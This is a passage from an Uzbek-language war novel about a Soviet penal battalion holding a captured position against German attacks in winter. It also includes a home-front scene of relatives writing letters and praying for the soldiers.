сиқилишиб жойлашдилар. Шундай бўлса ҳам ўт ёқишди. Кўпчиликнинг усти буткул хўл бўлганидан шақирлаб музлаб қолганди. Оёғи музлаб қолганидан Дубов ҳатто этигини ечолмади. Навбатма-навбат пайтаваларни ечиб қуритдилар. Этиклар, шинеллар қуритилди. Кўз очирмаётган бўрон тўртинчи кун тонгда тўсатдан тўхтаб қолди. Субботин батальонни суриштириб тўп отишга уқуви етадиганларни йиғиб қўйганди. Жаримачилар ичида ҳам артиллеристлар анчагина экан. Бўрон тўхташи билан артиллерия ишга тушди. Мақсад душманни кўз очиришга қўймаслик эди. Бир амаллаб тикланган алоқа линиясида генерал Волоховнинг овози эшитилди: - Сенда артиллерия овози эшитиляпти, бу нима? Субботин унга тўпларни қўлга киритганини, шу тўплардан душманнинг ўзига отаётганини тушунтирди. - Баракалла, позицияни маҳкам ушла. Сенга тезда ёрдам етиб боради. Мина даласидан қандай ўтиб кетдинг? Полклар ўтолмаяпти. Комбат қандай қилиб ўтганини айтди. Бу бўронда улар ўтган излар супурилиб кетган, энди у даладан ўтиш учун чора топиш керак эди. Генерал тезда қўшимча куч юборишга яна бир бор ваъда бериб алоқани узди. ХХХ Гарчи генерал ёрдамга тез етиб боришларини айтган бўлса ҳам, бир ҳафтадан ўтдики, ёрдам етиб келмади. Душман позицияни қайтариб олиш учун тиришиб ҳаракат қилар, кунда бир неча маротаба унинг ҳужуми қайтариларди. Дастлаб тўплар ишдан чиқди. Сўнгги снарядгача отиб тугатдилар. Олтита тўп танклар ўқидан мажақланиб кетди. Батальон кучсизлангани сайин душман қутуриб борарди. Бир неча марта немислар окопларгача етиб келдилар, аммо, барибир, позицияни тортиб ололмадилар. Еттинчи кун батальоннинг икки юзга яқин қолган жангчиси душманнинг яна бир ҳужумини қарши олди. Бу охиргиси бўлиши аниқ эди. Чунки шу жангдан кейин батальонда одам қолмаслиги мумкин. Сўнгги гранаталар, сўнгги патронлар қолганди жангчиларда. Шунга қарамай танклар ҳужуми мардонавор қайтарилди. Навбат пиёдалар ҳужумини қайтаришга келганди. Автоматлар битта ўқ отадиган қилиб созланди. Ўқни тежаш зарур. - Биттадан ўқ отинглар, ўқни тежанглар!- қичқирарди Гречков. Ўзи гоҳ у ерда, гоҳ бу ерда пайдо бўлар, бор овози билан бақирарди. Тушга яқин, барибир, душман пиёдалари окопларга ёриб кирдилар. Аёвсиз қўл жанги бошланди. Нуриддин ва Азларнинг ёнида доимгидай Вадим. Уларнинг рўпарасидан уч немис автоматчиси бостириб келарди. Оралиқ ўн қадамлар қолганда Нуриддин сўнгги ўқи билан олдинда келаётганини отиб қулатди. - Ёт!- қичқирди Вадим. Учови ҳам чўк тушдилар. Немис автоматчиларининг бири шиддат билан келаётганидан окопга яқин чалишиб боши билан мункиди. Уни Азлар бошига қўндоқ билан туширди. Иккинчиси окопдан сакраб ўтаётган пайтда биров бир сакради-ю, унинг оёғидан қучиб қолиб окоп ичига қулатди. Бу Дубовнинг иши эди. Вадимнинг бир зарбаси билан немис жон берди. Тезда қуроллар олинди. - Қойил, Миша, сен мушук экансан,- деди Вадим. Уларга яқин жойда яна олишув кетмоқда эди. Вадим шу томон интилди. Бир лаҳзада яна тўрт душман маҳв қилинди. Петрушин ва Громов дарров автоматларни олдилару нарёққа югурдилар. - Биз бу ёқдагиларга ёрдамга борамиз!- дея Вадим ортига қайтди. Ўн қадам юрмай ўқ узаётган немис автоматчисини отиб йиқитди. - Нурик, бу қурол сенга! Йигирма қадамлар нарида камида йигирмата одам қирпичоқ бўлаётганди. Вадим сакраб окоп қирғоғига чиқди-да, югуриб бориб ўзини тўда ичига отди. Бу ерда немисларнинг қўли баланд келмоқда эди. Нуриддиннинг кўргани шу бўлдики, Гречков ёқавайрон, икки немиснинг автоматини бир-бирига қаратиб ушлаб олган, улар эса уни тепишаётганди. Азлар бирининг, Нуриддин бирининг бошига қўндоқ билан туширганларидан кейин Гречков ерга ўтириб қолди. Шу заҳоти устига иккови немис йиқилди. Яна бир неча лаҳзадан кейин олишув тугади. Ерда жасадлар бирининг устига бири қалашиб кетганди. Алексеев ва Гречковни турғиздилар. Иккови ҳам турибоқ немис автоматларига интилишди. - Тезроқ, кўпроқ олинглар, у ёқда ўзимизникилар... оғир...- ҳансираб гапиролмай қолди Гречков. - Кетдик, йигитлар,- Вадим яна нариги томон ўртоқларини бошлади. Ўттиз қадамлар юришгач, яна немисларга дуч келишди. Бу ерда ҳам олишув кетмоқда. Отишнинг имкони йўқ. Ўзимизникиларга тегиши мумкин. Бу ерда Субботиннинг ўзи жангчилар билан бирга елкама-елка олишаётганди. Вадим, Михаил, Азлар, Нуриддин - тўртовининг шиддат билан ташланиши масалани ҳал қилди. Орқадан Алесеев билан Громов ҳам етиб келишди. - Йигитлар, ўт оч!- қичқирди Субботин. Ўттиз қадамлар олдинда немислар югуриб келмоқда эди. Шу тобда Нуриддиннинг оёғи остига бир нарса тушди. Ҳушёр экан, Дубов эгилди-ю, бир ҳаракат билан ҳалиги нарсани олиб ирғитиб юборди - портлаш эшитилди. Барчалари баравар ўт очдилар. Душман ётиб қолди. - Кимда граната бор?!- қичқирди Субботин. - Ҳозир ўзлари отади!- жавоб берди Дубов. У кўзлари олазарак бўлиб у ёқдан бирор нарса тушармикин деб пойлаб турарди. - Миша, эҳтиёт бўл, қўлингда портлаб кетмасин!- унинг мақсадини тушуниб огоҳлантирди Гречков. - Уларники ерга тушгандан кейин уч секундда портлайди, улгураман! Ўнг томонда автомат тариллади, демак яна кимдир тирик. Ўқлар эса тугаб борар, бунга сайин немислар кўпайиб борарди. Ниҳоятда оғир вазиятда қолган Субботин қичқирарди: - Йигитла-а-ар! Окопга яқинлаштирмай от! От!!! Ўлар-тириларига қарамай олдинга ташланган немислар яна окопга етиб келдилар. Яна қўл жанг бошланди. Худди шу лаҳзада орқада автоматлар тариллади, кучли сел оқими урилгандай "Ура-а-а!" деган садолар эшитилди. Полковник Боровкин қисми аскарлари дарёни кечиб ўтишга муваффақ бўлган, ёрдамга етиб келишга улгуришганди. Бутун полк ёйилиб ҳужумга ўтиб келарди. Дастлабки аскарлар окопга етиб келишлари биланоқ душман аскарлари чекина бошлади. Бу қорда ортга югуриш ҳам осон эмасди улар учун. Окопдан чиқиб қочганларнинг деярли барчаси ўққа учди. Қисм окопларни босиб ўтиб кетди. Икки чақирим ғанимни қувиб борди-ю, ортга қайтди. Душманнинг жуда катта қисми йўқотилганди. Бу шу пайтгача эришилган ғалабаларнинг энг каттаси бўлиб, батальондаги йўқотишлар ҳам шунга яраша эди. Батальон қирилиб кетиш арафасига келганди. ХХХ Эртасига немислар бутун кучи билан маррани қайтариб олиш учун ҳужум қилиб кўрди. Бир томондан Трубишев қисми, бир томондан Боровкин қисми шундай зарба бердики, икки соатга қолмай ортга чекинишга мажбур бўлди. Энди ҳужум қилиш навбати бу томонга ўтганини англаган немислар бу сафар узоқроқ чекинишга қарор қилди, шекилли, разведка маълумотларига кўра, улар Ярцево шаҳарчасига яқин жойга бориб мудофаа истеҳкомлари тиклай бошлабди. Бу дарёдан деярли эллик чақиримдан зиёд жойда эди. Батальонда омон қолган олтмиш етти нафар жангчини душманга яқин ерга олиб бориш ҳақида дивизия штабидан буйруқ берилди. Оғир жангнинг эртасигаёқ бундай вазифани бажариш қийин эди. Жангчилар ҳаддан зиёд ҳолдан тойган, деярли ҳафта давомида уйқу нималигини билмагандилар. Шунга қарамай, комбат буйруққа кўра, батальонни кечаси йўлга бошлашга мажбур бўлди. Энди уларга бу ерда қиладиган иш йўқ, марра эгалланганди. Рота командирлари ҳеч бўлмаса, тонгга қадар дам беришни сўрашди-ю, уларнинг талаб дарров рад этилди. Мана энди батальоннинг қолган-қутгани чала-ярим таъминот - қуруқ озиқ билан йўлга тушди. Икки чақирим юришгач, қандайдир йўлга чиқиб олдилар. Бу ердан яқингинада немис техникаси ўтгани билиниб турарди. Машина йўлида икки саф бўлиб кетиб боришар, ҳолдан тойган одамлар юриб боришарди-ю, мункиб- мункиб кетишар, юриб кетаётиб ухлаб қолиб йиқилиб тушишарди. Шу тариқа ярим тунгача йўл юрганларидан кейин комбат одамларни дарахтлар ўсган қиялик этагида тўхтатди. У жангчиларнинг ахволига ачинганидан " нима бўлса, бўлар" деган қарорга келди, шекилли, ўт ёқишга, ҳар ким ўзига тунаш учун жой ҳозирлаб олишларига рухсат берди. Нуриддин билан Михаил дарров ўтин синдириб келишга отланишди. Сергей, Вадим ва яна бир жангчи тепаликнинг ёнидан тунаш учун жой ҳозирлашга киришдилар. Михаил иккови уч мартадан ўтин ташиб келдилар. Улар ўтин йиғиб бўлгунларича бошпана ҳам тайёр бўлди. Қирғоқнинг қорини айлана қилиб кураб девор ясаб, ерни ўйиб беш киши бемалол кириб ўтирадиган қилибдилар. Гуриллатиб ўт ёқдилар. Этиклар ечилди. Узун таёққа пайтавалар илинди. Котелокка қор солиб сув қайнатдилар. Ҳамма ўзининг халтасини титкилаб озиғини олди. Нуриддин битта консерва олиб Вадимга берди. - Ўзинг е. - У емайди, овора бўлма,- деди Азлар. - Эҳ, Нурик, шу замонда ҳам овқатдан парҳез қиласан,- Вадим қопчиғини титиб икки дона печенье, икки чақмоқ оқ қанд олиб унга берди. Оловни баландроқ қилиб овқатланганларидан кейин ҳаммаси ўтирган жойида мудрай бошлади. - Этикларни кийинглар, йигитлар,- Вадим дик этиб ўрнидан туриб кетди,- ҳалигинга ўхшаб ухлаб қолсак, музлаб қоламиз. Яхшиям, ўшанда Нурик уйғониб кетган, бўлмаса, қотган бўйи у ёққа кетардик. - Гапинг ҳақ,- Михаил зўрға силжиб этиги ва пайтавасини олди-ю, кўзлари юмилиб-юмилиб зўрға пайтавасини ўраб этигини кийди. - Бир-биримизга яқинроқ ўтирайлик,- деди Азлар. Нуриддин Дубов ва Азларнинг ўртасида ўтириб бир дам кўзини юмди... Шу бўйи оёғига биров тепганда кўзини очди. Гречков йигитларни уйғотиб юрарди. - Туринглар, йигитлар, туринглар, йўлга тушамиз. Совуқсираган, совуқдан карахт бўлиб қолган жангчиларни уйғотишга ярим соат вақт кетди. Уларнинг ахволини тушуниб турган комбат кўп ҳам шоширмади. Батальон сафга тургандан кейин тайинлади: - Ҳозир совуқ, ҳамма ёнидаги шеригига жавобгар. Ҳеч ким йўлда йиқилиб қолмасин. Соат ўн икки бўлди. Соат тўртгача йўл юрамиз. Кечки пайт қулайроқ жой топиб тунаймиз. Йўлда овқатланишга, чекишга, гаплашишга рухсат бераман. Яна машаққатли юриш бошланди. Соат учга қадар йўл босдилар. Орада бир марта ўн минутлик тўхталиш берилганини ҳисобга олмаганда деярли тўхтамадилар. Бир маҳал узоқда уйлар қорайиб кўринди. Комбат тўхтади. Дурбинда узоқ тикилди. Сўнг дурбинни Канаевга узатди. - Саккизта уй бор экан, немислар бўлиши мумкинми? - Бунақа кичкина қишлоқларда улар тўхташмайди. Бораверайлик, аниқ - у ерда немислар йўқ. Қишлоқда ҳақиқатдан немислар йўқ эди. Тўртагина уйда одамлар бор экан, улар ҳам қариялар. Уларнинг айтишича, уч кун олдин машиналар, танклар ўтибди. Бу ерда тўхташмабди. - Демак, бу кеча шу ерда тунаймиз. Ҳаммани уйларга тақсимлаб чиқинглар. Ташландиқ уйларнинг бирига Нуриддинлар бўлинмаси жойлашди. Тезда у ёқ-бу ёқни йиғиштириб, печкага ўт ёқиб юбордилар. Хона тез исиди. Печка атрофида ўтириб чой ичдилар. Қиш тушгандан буён биринчи маротаба иссиқ уйда ўтириб танлари яйради, неча вақтлардан буён ечилмаган шинеллар ечилди. Громовдан бошқа ҳамма шундоқ полга шинель ташлаб чўзилди. Уларни эрталаб Громов уйғотди. Йўлга тайёрланишни, ярим соатдан кейин жўнашларини айтди. - Эҳ, шу ерда бир умр қолишга розийдим,- керишиб туриб деди Дубов. - Шундай кунларга ҳам етармиз ҳали,- Вадим унинг елкасига уриб қўйди. Қорин тўқ, уст-бош қуруқ, бир яйраб олган жангчилар уйлардан чиқишиб бир ерга йиғилдилар. Комбатнинг буруғи билан яна йўлга тушдилар. Қош қорайиши олдидан бир тепаликка икки чақирим қолганда тўхтадилар. Тепалик энига чўзилиб кетган, немислар жойлашгани билиниб турарди. - Шу ерда окоп қазишни бошлаймиз. Туни билан ҳамма ўзига жой ҳозирласин. Ҳамма ишга!- комбатнинг буйруғи қисқа ва аниқ бўлди. Яна бешовлон бир ерда ишга киришдилар. Тўхтамасдан ишлаб икки соатда тугатишди. Кавлаган чуқурларини бир-бирига туташтирдилар. Қоронғида темсалаб юриб ёғоч, хода топдилар, окопнинг бир жойига тунайдиган жой қилишиб, чор-атрофини ёпиб олдилар. - Шу ерда тонг оттирамиз. Эрталаб бирор нарса ўйлаб топамиз, иссиқроқ жой қилиб оламиз,- Вадим ерга ўтириб шинели ёқаларини кўтарди. Унинг икки ёнига Нуриддин ва Азлар суқилдилар. Кечаси билан оёқларини таппиллатишиб, елкалари билан бир-бирларини туртиб-туртиб ухладилар. ХХХ Жарима батальони мина майдонидан ўтиб кетганидан кейин армия штабидан дивизияни тезда дарёнинг нариги томонига олиб ўтиш ҳақида кетма-кет буйруқ келди. Бироқ сапёрлар ҳеч бир имкон тополмадилар. Батальон ўтган йўлни эса қор кўмиб кетган, из йўқ. Таваккал деб йўл бошлаган икки йўлбошчи портлаб кетди. Нима қилиш керак? Ҳатто генерал Волоховнинг ўзи келиб майдонни кўздан кечирди. Унинг ёнида келган майор Пирогов ҳам узоқ тикилиб турди. У ёққа юрди, бу ёққа юрди, ниҳоят, бир қарорга келди, шекилли, генералга мурожаат қилди. - Ўртоқ генерал, рухсат берсангиз, дивизияни майдондан мен олиб ўтсам. - Эсинг жойидами? Йўл топишади. - Қор қалин, излар босилиб кетган. Бошқа иложимиз йўқ. Буйруқни бажаришимиз шарт. Генерал нима дейишни билмай қолди. - Мен сен учун жавоб беролмайман. - Ўз ихтиёрим билан, мана гувоҳлар,- Пирогов ёнидаги офицерларга қаради. Ҳамма жим. Биров бир нарса деёлмади. Пирогов ўзига яраша жасур ва синчков эди. У майдонга тикилиб сал дўмпайиб турган қорни илғай олди. Демак, бу ўша айтилган мослама, ўша ерда портлаган. У қўлига дурбинни олиб эллик қадамлар юриб тўхтади. Ўша ерда туриб иккинчи мосламани ўнг томонда, биринчисидан беш-олти қадам нарида эканини сезди. У ўнг томонга йигирма қадамлар юрди. Таваккал деб олдинга юрди-ю, бироз юриб тўхтади. Ўзича бир нималарни чамалади. Этиги билан қорни секин сидирди. Ерга эгилиб қор сидирилган ерни ушлаб кўрди - қор ости музлаб қолган, муз қаттиқ эди. Ҳа-а, шу ердан одамлар ўтган. Қор депаланган, депаланган ерда муз ҳосил бўлган. У ўз хулосасига ишонди. Шундай бўлса ҳам эҳтиёткорлик билан олдинга юра бошлади. Эллик қадам юриб тағин тўхтади. " Шу ердан ўтишгани аниқ,- фикрлади у,- бир текис, тизза бўйи қор кечиб келяпман, одамлар депалаган жойларнинг таги музлаб қотиб қолган, шунинг учун текис кетяпман, бўлмаса, оёғим бирор чуқурга тушган бўларди". У ўз фикридан қониқиб дадилланди. Шунда каласига бир ўй келди. Ерга ўтирди, эгилиб олдинга қаради. Ўзининг тўғрисини, ён атрофини кузатди. Шунда бир нарсани илғай олди. Ўзи кетаётган йўлнинг қори бошқа ерлардагидан хиёл пастроқ эди. Шундай қилиш илгарироқ хаёлига келмаганидан афсусланди. Ўзи кетаётган йўл батальон ўтган йўл-ку. У ўрнидан туриб орқадагиларга ишора қилди. Уч-тўрт одам унинг изидан йўлга тушди. Шундай қилиб майор Пирогов бутун дивизияни дарё бўйига талофатсиз олиб бора олди. Унинг бу хизмати генерал майор Волоховнинг кўз олдида рўй бергани учун у армия штабига дарҳол ахборот бериб, дивизияни сиёсий бўлим бошлиғи майор Пироговнинг шахсан ўзи мина майдонидан талофатсиз олиб ўтганини айтди. Армия қўмондони генерал полковник Тимофеев Пироговга муддатдан ташқари подполковник унвони берилишини таъкидлаб, яна уни орденга тавсия қилишини билдирди. Шу воқеадан кейин армия сиёсий бўлимининг бошлиғи генерал майор Елисеев Пирогов билан қизиқиб қолди. ХХХ Февралнинг охирларида Нуриддиндан хат келди. У соғ-саломат эканини, душман тобора ортга чекинаётганини, тез кунларда уруш адоғига етишини ёзарди. Мунаввар холанинг боши осмонда. Ўзини қўярга жой тополмайди. Хатни Настяга қайта-қайта ўқитади. Қоғоз-қалам олиб чиқиб Настяга ўзи хат ёздирди. - Айтганларимни ёз, биттаям қолдирма,- таъкидлади у. Маҳалла-кўйдан бошлаб то колхозда нима ишлар бўлаётганигача айтди. Настя кулиб-кулиб унинг айтганларидан тушунганларини қоғозга туширди. - Отангга айтма, у бошқа хат ёзсин. Иккита хат бирданига борса, боламнинг кўнгли кўтарилади. Тушга яқин Шамсиддин тоға ҳам келиб хотинининг қистови билан хат ёзиб Настяга берди. Кечқурун Абдуманноб қори келди. У хурсанд: неча замонлардан буён дараксиз ўғлидан хат келибди. Иккови чол анча муддат чақчақлашиб ўтиришди. Гоҳ иморатдан, гоҳ ибодатдан сўзлашдилар. Хуфтонни бирга ўқиганларидан кейин қори сўраб қолди. - Шамсиддин ака, ғойибдан туриб сафардаги йигитларга дам солса бўладими? Шундай дуолар ҳам борми? - Бор,- деди тоға,- аввало, фарзандингизни худога омонат топширинг. Парвардигор омонатни сақлагувчидир. Насиб этса, болангизнинг бир тукини туширмай ўзингизга қайтаради. Ихлос билан дуо қилинг. Келинг, урушда юрган барча йигитларнинг ҳақига икки ракатдан намоз ўқийлик, дуо қиламиз Иккови намоздан кейин узоқ дуо қилдилар. Қорининг кўзларидан дувиллаб ёшлар тўкилди. Тоғанинг ҳам кўнгли алланечук бўлиб кетди. - Мусофирчиликда юрган ҳар банданинг ортида дуогўйи бўлса, у омон бўлади, қори, " дуо билан эл кўкарар" деган гап бежиз айтилмаган. Худо хоҳласа, дуо билан душманни енгамиз,- қорининг кўнглини кўтарди тоға. Қори кетгандан кейин тоға уйга кирса, Настя боласининг бошини қучоқлаб йиғлаб ўтирибди. - Нима бўлди, қизим, нимага йиғлайсан? - Эридан хат келмаганига анча бўлди, шунга тўсатдан йиғлаб қолди,- Мунаввар хола йиғининг сабабини айтди. - Эринг котта командир. Аскарларнинг олдида доим хат ёзавергани тортинади, қўлиям тегмайди. Минг-минг одамни бошқариш осонми... -Ҳа-а, ҳар хил аскар бор,- билағонлик қилиб эрининг гапини оғзидан олди хола,- бири ейман дейди, бири кияман дейди, бири қочаман, бири қуваман дейди. Мана, Нуриддинжондан хат келди-ю, сани эринг камандир, пана жойда, хавотир олма. Настя холанинг гаидан жилмайди, боласининг сочини силаб бошига юзини босди. Жилмаярди-ю, кўз ёшлари юзларини юварди. - Ҳозир қори икковимиз йигитларга дуо қилдик. Эрингнинг ҳақига ҳам дуо қилдик. Хат бугун бўлмаса, эртага келади. Хавотир олма, кўнглингни тўқ қил. Тоғанинг гапларидан Настянинг кўнгли ёришди. Болани уйғотмоқчи эди, хола унамади. - Болани ташлаб кет. Уйқусини безовта қилма. Сан чиқиб ҳалиндақа... каспегийни ёз. Настя чиқиб кетгандан кейин ўзича ғудранди: - Шундай ёш жувонларнинг, ёш йигитларнинг умрини хазон қилмай Гилтер ўлсин! Яхшиям Исталин боракан, йўлини тўсди, бўлмаса, бутун дунёни қон қақшатарди. - Ёмонга ёмон даво, хотин,- деди-ю, тоға кўрпасига кирди. Хола унинг гапини тушуниб-тушунмай " ҳа-а" деб қўя қолди. ХХХ Маррани эгаллаганларига ҳам бир ҳафтадан ошса ҳам, душман томондан ҳужум бўлмади. Лекин кечаси-ю кундузи тиндирмайди: гоҳ миномётини чийиллатади, Гоҳ тўплар наъра тортади, ҳатто бир сафар самолётлар ҳам бомбардимон қилди. Афтидан шу ерда қаттиқ мудофаа тутмоқчи, шекилли. Бирор марта пиёдалар билан ҳужум бўлмади. Бир неча кундан кейин дивизия қисмлари ҳам етиб келди. Қисмлар улардан уч чақиримча орқада жойлашдилар. Вадимнинг иши пишиқ эди. У ўртоқларини авраб-савраб бошпаналарини мустаҳкамлаб олишга кўндирди. Ёғоч, тахта топиб келдилар. Окопни кнгайтириб, ходаларни териб устидан бир амаллаб тупроқ, хас-хашак ташладилар. Оёқ остига ёғочларни териб чиқдилар. Милтиқ, автомат отадиган туйнк қилиб, уни керак бўлганда очиб-ёпадиган қилдилар. Бу ишларнинг барини битказганларидан сўнг ён атрофдагиларни ҳам шундай қилишга ундади. Қолганларга ҳам баҳоли қудрат ёрдам бердилар. Бекорчиликдан зерикиб қолмаслик учун змас, совуқдан қочиь бажарилди бу ишлар. Кўпинча Азлар Нуриддиннинг ёнига ўтириб олиб урушдан кейин қиладиган ишларини гапириб беради. "Уйга бориб боғ қиламан, кўп олмалар экаман" дейди. Нуриддин ҳам баъзан унга ўзининг орзуларини айтади. Вадим "урушдан кейин тракторчи бўламан, тракторимга колхоздаги энг гўзал қизларни чиқариб олиб колхоз айлантираман", деб кулдиради. Бугун ҳам гаплашиб ўтиришганди Михаил бошини суқди-да, Вадим билан Азларни ташқари имлади - Юринглар сизларга бир нарсани кўрсатаман. Тезроқ. Дубов икковини траншеянинг энг охирига етаклаб бориб орқа томонни кўрсатди. Икки юз қадамлар нарида биров келмоқда эди. У тез-тез у ёқ- бу ёққа қараб қўяр, чамаси, биров кўриб қолишидан хадиксирарди. Улар турган жойни мўлжаллаб келаётган кимса бу ерда ҳеч ким йўқлигига ишонч билан келаётганди. - Бошингларни эгинглар, нақ устимизга келади ҳозир,- Дубов бошини пастга тортди. - Бу - Кружилин, қаёқдан келяптийкин?- сўради Вадим. - Қаёқдан бўларди, штабдан, ахборот бериб келяпти,- Азлар Вадимга маъноли қаради. Учови ҳам пастга ўтиришди. Бироздан кейин уларнинг нақ устидан Кружилин окопга сакради. У ёқ- бу ёғини қоқди-да, тўсатдан орқасида унга қараб ўтирган учовини кўриб қотиб қолди. - Қаёқдан келяпсан, Игорь- сўради Вадим. - Ўзим шундай, айланиб келяпман. - Сени эса комбат излаб юрибди. - Нима иши бор экан? Нимага излайди? - Штабдан сўрашибди, борар экансан. - Мен ўзим ҳозир... - деди-ю, Кружилин тилидан илинди. - Биламиз штабдан келаётганингни. Шунчаки, ўз оғзингдан эшитайлик деб кутиб ўтиргандик. - Йўқ, у ёқда қишлоқ... - Кружилин гапини тўғриламоқчи бўлди-ю, лекин кеч қолганини сезиб тили тутилди. - У ёқда қишлоқ йўқ-ку, Игорь. У ёқда штаб бор, холос. У ерга эса онда- сонда чақимчилар бориб туришади. - Мен штабга бормадим, Ўзим айланиб... - Танца тушгани бордингми?- деди Азлар ғижиниб. - Қанақа танца? - Биронта штаб каламуши сенга гармон чалиб берган, сен танца тушгандирсан. - Йигитлар, нима деяпсизлар? Нимага менга ёпишиб олдинглар? Нимага мени кузатяпсизлар? - Биз сенга ёпишиб олганимиз йўқ, бор, кетавер. Биз бу ерда Гречковнинг топшириғи бўйича душман позициясини кузатяпмиз. Ўзинг тўғри бизнинг устимизга келдинг. Душманга ҳам бу ерда одам борлигини билдириб қўйдинг. Кружилин нима дейишни билмай серрайиб қолди. - Бор, кетавер,- деди Вадим, пича ўйланиб туриб қўшиб қўйди,- хоҳласанг, биз билан қолиб кузат. Агар немис билиб қолган бўлса, ҳозир шу ерга минмётдан отади. Унинг гапига фаришта омин дедими, шу дамда миномёт чийиллади, улардан нарироққа снаряд тушиб портлади. - Кетдик, кетдик бу ердан,- Вадим ўртоқларини четга бошлади. Учови лип-лип этиб Кружилиннинг олдидан ўтишиб ўз марралари сари югуриб кетишди. Кружилин ҳам бўйнини қисиб уларнинг ортидан эргашди. ХХХ Дивизия штабидан келган маълумотга кўра, душманнинг шу кунларда қаттиқ ҳужум қилиши кутилаётганди. Шунинг учун дивизия қўлга киритилган маррани ушлаб қолиш учун қаттиқ тайёргарлик кўрди. Албатта, биринчи зарбани жарима батальони қабул қилиши ва ҳужумнинг асосий зарбасини қайтариши, қолган қисмлар эса икки ёндан айланма зарба бериши лозим эди. Ҳужум объекти батальон жойлашган позиция. Шу ерга душман асосий кучини қаратади. Шу вақтдан фойдаланиб беш-олти чақирим ўнг томондан Трубишев ва Боровкин қисми, беш километр чап томондан бошқа икки қисм айланиб ўтишлари ва душманни қуршовга олишлари режалаштирилди. Генерал майор Волохов қандай бўлмасин немисларни олдинга ўтказмай тўсиб қолиш вазифасини қўйди. "Ортга бир қадам чекинмайсан, чекинганлар отилади", деди у. Ҳар сафаргидай батальондан бир чақиримча орқага тозалов отряди келиб жойлашди. Капитан Рубцов ўз отрядига у томондан келадиган ҳар қандай кимсани ватан хоини сифатида отиш ҳақида буйруқ берди. Пулемётлар ўрнатилди, автоматчилар жойларини эгаллашди. Ҳужум кундузги соат ўн бирда кутилаётганди. Комбат рота командирларига топшириқни етказган бўлса ҳам, уларга жангчилар орасида ваҳима бўлмаслиги учун вақтини айтмади. Фақат ҳар лаҳзада жанг бошланиши мумкинлигини таъкидлади. ХХХ Бандасининг эмас, худонинг айтгани бўлади деб бекорга айтишмаган. Кимнинг пешонасига қандай тақдир ёзилгани ёлғиз яратганга маълум, холос. Ўша тақдир ҳам бандасининг ниятига яраша ёзилади, шекилли. У орқага тозалов отряди келиб жойлашганини ҳам, соат ўн бирда ҳужум бошланишини ҳам билмасди. Окопда ётиб атрофдагиларни кузатди. Биров билан бировнинг иши йўқ. Траншеянинг ҳар сафар ўзи ўтадиган энг чекка жойига келди. Ҳеч ким кузатмаяптимикин деб у ёқ- бу ёққа қараб олгач, секин окопдан чиқди-да, йўлга тушди. Ёзганларини жойида турибдимикин деб ички чўнтагини пайпаслаб кўрди. Ҳаммаси жойида. Ёзган тўрт варақ хисоботи ёнида. Анча юргандан кейин ортига бир қайрилиб қаради - -ҳеч ким йўқ. Қадамини тезлатди. Вақт бўлиб қолибди. Подполковник Пирогов соат ўн бирда уни кутиб ўтиради. Ҳув, ана окоплар ҳам кўриниб қолди. Ўша ерга етиб олса бас, ундан у ёғи икки қадам. Лекин у ана шу окопларга энди ҳеч қачон етиб бора олмаслигини билмасди. Тўсатдан нимадир гумбурлади. Сўнг иккинчиси. Олдигинасида қор аралаш тупроқ осмонга кўтарилди. У ўзини таппа ерга ташлади. Ўрнидан туриши билан яна ва яна ён атрофига снарядлар туша бошлади. Окопларни мўлжаллаб югура бошлади. Ўша ерга етиб олса, қутулади. Очиқ майдонда якка нишон бўлиб қолганини англади. Окопга юз метрлар қолганда пулемёт тариллади. Кўкрагига найзалар кириб, орқасини ўпириб чиқиб кетаётганини идрок қилди. Олдинга гуп этиб қулади, оғзидан қон сизиб чиқди-ю, қотди-қолди. Унинг қони ҳам қизил эмас, қоп-қора эди. ХХХ Артиллерия тайёргарлигидан кейин бу сафар немис пиёдалари тўсатдан ҳужумга ташланди. Одатда улар танклар панасида келишарди. Лекин бу сафар очиқ ҳужумга ўтдилар. - Танклар қани?!- деб юборди Вадим. - Танклар ҳалақит қилади,- ҳазиллашди Дубов. - Бутун бир дивизия бизга қарши ташланди, йигитлар, бардам бўлинглар, бир қадам ортга йўл йўқ,- Гречков ҳар ерда жангчиларга уқтириб ўтарди. Унинг бу гапи замирида " ортингга чекина кўрма, орқада тозалов отряди бор" деган мазмун ҳам бор эдики, буни ҳар бир жангчи яхши англарди. Нуриддин қорда ўрмалаб келаётган қораларга қарата ўқ узар экан, ҳар замонда Азларга кўз қирини ташлаб қўярди. У ҳам бутун диққатини олдинга қаратиб ўқ отарди. - Нур, менга қарама, олдингга қара, олдинга. Бошингни эҳтиёт қил. Ўқингни тежаб ишлат. Бу сафар ҳам қаттиқ ҳужумда қоламиз, шекилли. - Орқамиздаги қисмлар бошқа томонга кетишибди. Бу ерда фақат ўзимиз,- Петрушиннинг овози эшитилди,- Кружилинни кўрмадингларми? Ифлос, ўзининг жойида йўқ. - Каламушнинг инини қара, ўша ердан чиқади,- деди Вадим. Роса бир соат отишма бўлгач, душман ортга қайтди-ю, яна олдинга ташланди. Бу гал ёйилиб ҳужумга ўтдилар. Оралиқни кенгайтириб, ёйилиб олиш ҳақида Гречков қичқириб буйруқ берди. Тинимсиз ўқ отиб келаётган душманни отиш ҳам осон эмасди. Окоп олдига, орқа деворга потраб ўқлар урилар, бош кўтаришнинг имкони йўқ эди. Ҳарқалай, бир соатдан кейин немислар тағин чекинди. Вадим окопдан бошини чиқариб қаради. - Қулоқ солинглар, йигитлар,- деди у,- ён томонларда ҳам отишма овози эшитиляпти, демак ёнимиздан қисмлар ҳам жангга кирибди. - Бироз нафас ростлайлик, ҳозир яна ҳужум қилишади,- Азлар тезда этигини ечди-ю, пайтавасини қайта ўради. Нуриддин эса чўк тушган бўйича пичирлай бошлади. Вадим Михаил ва Азларга уни кўрсатиб имо қилди. Чорак соат пичирлагандан кейин ўзига ва ўртоқларига қараб уч марта "суф-суф" деди. Қўлини дуога очиб, узоқ дуо қилди. - Миша, Нурикнинг кароматини кўрасан,- деб кўз қисиб жилмайди Вадим. Дубов ҳам бошини сарак-сарак қилди. Яна миномётлар отилгандан кейин немислар олдинга ташланишди. Бу сафар олдингисидан кучлироқ ўқлар сели ёпирилди. Жангчилар окопдан бош чиқаролмай қўлларини тепага чиқариб тусмоллаб ота бошладилар. Шу вазиятда Субботинни генерал Волохов алоқага чақирди. - Комбат, бошингни кўтар, бошингни! - Бошимни кўтаролмаяпман, ҳозир оёғимни кўтараман,- деб юборди комбат алам билан. - А?! Нима?! - Бошимни кўтаришга қўйишмаяпти! Бутун дивизия бизга қарши ташланди! - Ҳужумга кўтар батальонни!!!- генералнинг овози таҳдидли эшитилди. - Бош кўтариб бўлмаяпти-ку! Дивизияга қарши қандай қилиб ҳужумга ўтаман?!! - Батальонни 